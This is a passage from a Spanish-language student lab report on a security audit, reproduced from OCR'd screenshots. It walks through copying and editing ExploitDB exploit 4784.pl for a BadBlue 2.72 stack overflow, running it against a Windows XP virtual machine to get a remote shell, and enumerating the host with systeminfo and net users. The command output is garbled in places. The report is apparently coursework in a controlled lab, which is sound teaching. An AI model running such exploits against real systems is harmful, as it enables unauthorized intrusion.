el exploit seleccionado al directorio de trabajo del atacante para editarlo y adaptarlo. Salida de Is
mostrando el archivo 4784.pl junto a otros ficheros del usuario. Confirma que el exploit fue

copiado correctamente al directorio actual.

/home/kali
p /usr/share/exploitdb/exploits/windows/remote/4784.pl .

/home/kali

4784 .pl DicLampiao.txt ISJpWcCC.html KidjgFuL.html
aVYBkovN.html VASEFNRh. html

48 Copia del exploit a la carpeta de trabajo}

Capturas de nano 4784.pl y nano badblue-272-seh.pl indicando que el contenido del exploit
se revisa o se pega en un nuevo archivo (se preparan modificadores, payloads o rutas necesarias
antes de ejecutar).

Copiamos lo que aparace en nano 4784.pl
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/home/kali
nano 4784.pl

49.Edicion del exploit con nano (preparacion)

Lo pegamos en

/home/kali
nano badblue-272-seh.pl

50. Edicion del exploit con nano badblue-272-seh.pl

En esta etapa se abre y edita el archivo badblue-272-seh.pl mediante el comando nano en
Kali Linux. Luego se otorgan permisos de ejecucion con chmod +x. Finalmente, se visualiza el
encabezado del script donde se observa la referencia al exploit de desbordamiento de pila (stack

overflow) en BadBlue 2.72.

/home/kali
nano badblue-272-seh.pl

/home/kali
chmod +x badblue-272-seh.pl

/home/kali
head -20 badblue-272-seh.pl
#!/usr/bin/perl -w
http://aluigi.altervista.org/adv/badblue-adv.txt
https://www.securityfocus.com/bid/26803
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
exploit for stack overflow in badblue 2.72

Jacopo Cervini acarogjervus.it

#
#
#
#
#
# Credit to Luigi Auriemma
#
# 22/12/2007

#

#

#

use IO0::Socket;
if(!($ARGV[1]))
{

print "Usage: badblue-272-seh.pl <victim> <port>\n\n";
exit;

51.Creacion y configuracion del exploit badblue-272-seh.pl



Se ejecuta el exploit badblue-272-seh.pl apuntando a la direccion IP de la victima (10.0.2.7)

por el puerto 80. El script envia una solicitud GET maliciosa y establece una conexion reversa en

el puerto 4444, obteniendo acceso remoto a la maquina Windows XP comprometida. Una vez

dentro, se ejecuta el comando ipconfig para verificar la configuracion de red del sistema atacado.

/home/kali

./badblue eh.pl 10.0.2.7 80
+ Malicious GET request sent ...
Done.
+ Connect on port 4444 of 10.0.2.7
Trying 10.0.2.7...
Connected to 10.0.2.7.
Escape character is '“]'.
Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador Ethernet Conexien de erea local

Sufijo de conexien especefica DNS
Direccien IP. . . . . . . . . . .
Mescara de subred . . . . . . . .
Puerta de enlace predeterminada

Adaptador Ethernet Conexien de erea local

Sufijo de conexien especefica DNS
Direccien IP. . . . . . . . . . .
Mescara de subred . . . . . . . .
Puerta de enlace predeterminada

C:\Archivos de programa\BadBlue\PE>

52.Ejecucion del exploit y conexion con la victima

192.168.101.84
255.255.255.0
192.168.101.1

10.0.2.7
255.255.255.0
10.0.2.1

Desde la sesion remota en Windows XP, se navega por el sistema de archivos y se listan

los directorios del disco local (C:). Con el comando systeminfo se obtiene informacion detallada

del sistema operativo, version, fabricante, tipo de procesador, memoria y configuracion del entorno

virtualizado, confirmando el control total del sistema.
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C:\Archivos de programa\BadBlue>cd..
cd..

C:\Archivos de programascd..

El volumen de 1la wnidad C no tiene etiqueta.
El nemero de serie del volumen es: 2490-270F

Directorio de C:\

(2025 Archivos de programa
2025 AUTOEXEC. BAT
2025 CONFIG.SYS
2025 3 Documents and Settings
/2025 - 3 WINDOWS

2 archivos @ bytes

3 dirs 14.509.944.832 bytes libres

C:\>systeminfo
systeminfo

Nombre de host: WAY

Nombre del sistema operativc Microsoft Windows XP Professional
Versien del sistema operativ 5.1.2600 Service Pack 3 Compilacien 2600
Fabricante del sistema operativo: Microsoft Corporation

Configuracien del sistema operativo: Estacien de trabajo independiente

Tipo de compilacien del sistema operativo: Uniprocessor Free

Propiedad de way

[Organizacien registrada:

Id. del producto:

Fecha de instalaci¢n or /| : 106

Tiempo de actividad del 9 horas, 5 minutos, 52 segundos
Fabricante del : innotek GmbH

Modelo el ema:

Tipo de sistema:

Procesador(

i¢n del BIOS

positi inici “Device\Hardd
Configuracien r del sistema: @coa
Idioma: B000040A
Zona horaria: N
Cantidad total de memoria fesica: ME
[Me ia fesica disponible: 106 MB
Memoria virtual: tama¢o meximo: 2.048 MB
Memoria virtual: disponible: 2.008 MB
[Me: ia wvirtual: em uso: 40 MB
Ubicaci¢n{es) de archive de paginacien: C:\pagefile.

53.Exploracion del sistema comprometido

Mediante los comandos net users y systeminfo, se realiza la enumeracion de usuarios
existentes en el equipo comprometido. Se identifican las cuentas Administrador, Invitado,
Asistente de ayuda y wayner_antonio_moya, lo cual demuestra el nivel de acceso alcanzado

dentro del sistema victima.



Versien del BIOS:

Directorio de Windows:
Directorio de sistema:
Dispositivo de inicio:
Configuracien regiomal del sistema:

Idioma:
Zona horaria:

Cantidad total de memoria fesica:
Memoria fesica disponible:

Memoria wvirtual:
Memoria wirtual:
Memoria wirtual:

tama®o meximo:
disponible:
Een uso:

Ubicacien({es) de archive de paginacien:

Dominio:

Servidor de inmicio d

Revisien(es):

sesien:

Tarjeta(s) de red:

Cuentas de usuwario de “\WAY

VEBOX = 1

C: \WINDOWS

C:A\WINDOWS \system32
“DeviceWHarddiskVolumel
Bc@a

DOERR4BA

NSD

191 MB

16 MB

2.048 MB

Z2.888 MB

48 MBE

C:\pagefile.sys
GRUPO_TRABAJO

NAWAY

1 revisien(es) instaladas.
[@1]: Q147222

2 Tarjetas de interfaz de red instaladas.

[@1]: Adaptador de servidor PROS100@ T de Inmtel(R)
Conexi#n de +#rea Llocal

Nombre de conexiem:
DHCP habilitado: Se
Servidor DHCP: i@.8.2.3
Direcciones IP
[@1]: 10.0.2.7
Adaptador de
Nombre de conexiemn:
DHCP habilitado: Se

Servidor DHCP: 192.1668.101.1
Direcciones IP

[@1]: 192.168.101.84

rvidor PRO/S100@ T de Intel(R)
Conexien de #rea local 2

Asistente de ayuda
wayner_antonio_moya_
Se ha completado el comando correctamente.

Invitado

c: >




CONCLUSION

El desarrollo de este informe permiti6 comprender de manera integral como interactian los
distintos componentes de un proceso de auditoria en seguridad informatica. A través de la creacion
de entornos virtualizados y el uso de herramientas como Camouflage, shalsum y BadBlue, se¢
evidencio la importancia de la practica en la formacion de competencias en ciberseguridad,
analisis forense y pruebas de penetracion.
La instalacion de controladores en Kali Linux y la configuracion de carpetas compartidas
demostraron la relevancia de mantener un entorno de pruebas estable, seguro y funcional. El uso
de la esteganografia permiti6 visualizar técnicas de ocultamiento de informacion que, aunque
pueden ser utilizadas de forma maliciosa, también son utiles en contextos de seguridad y cifrado
de datos. Por otro lado, la generacion de hashes forenses reforzo el conocimiento sobre los
métodos de verificacion de integridad, esenciales en investigaciones digitales y cadenas de
custodia.

Finalmente, la explotacion controlada de la vulnerabilidad del servicio BadBlue 2.7 puso de
manifiesto como los errores de programacion o configuracion pueden ser aprovechados para
obtener acceso no autorizado a un sistema, resaltando la necesidad de mantener politicas de
seguridad actualizadas, realizar auditorias constantes y promover la cultura de la ciberseguridad.
En conclusidn, este trabajo representa un paso fundamental hacia la comprension practica y ética
de las herramientas de seguridad, consolidando las bases necesarias para desempenar funciones en
auditoria, defensa de redes y andlisis forense dentro del &mbito profesional de la ingenieria en

telecomunicaciones e informatica.
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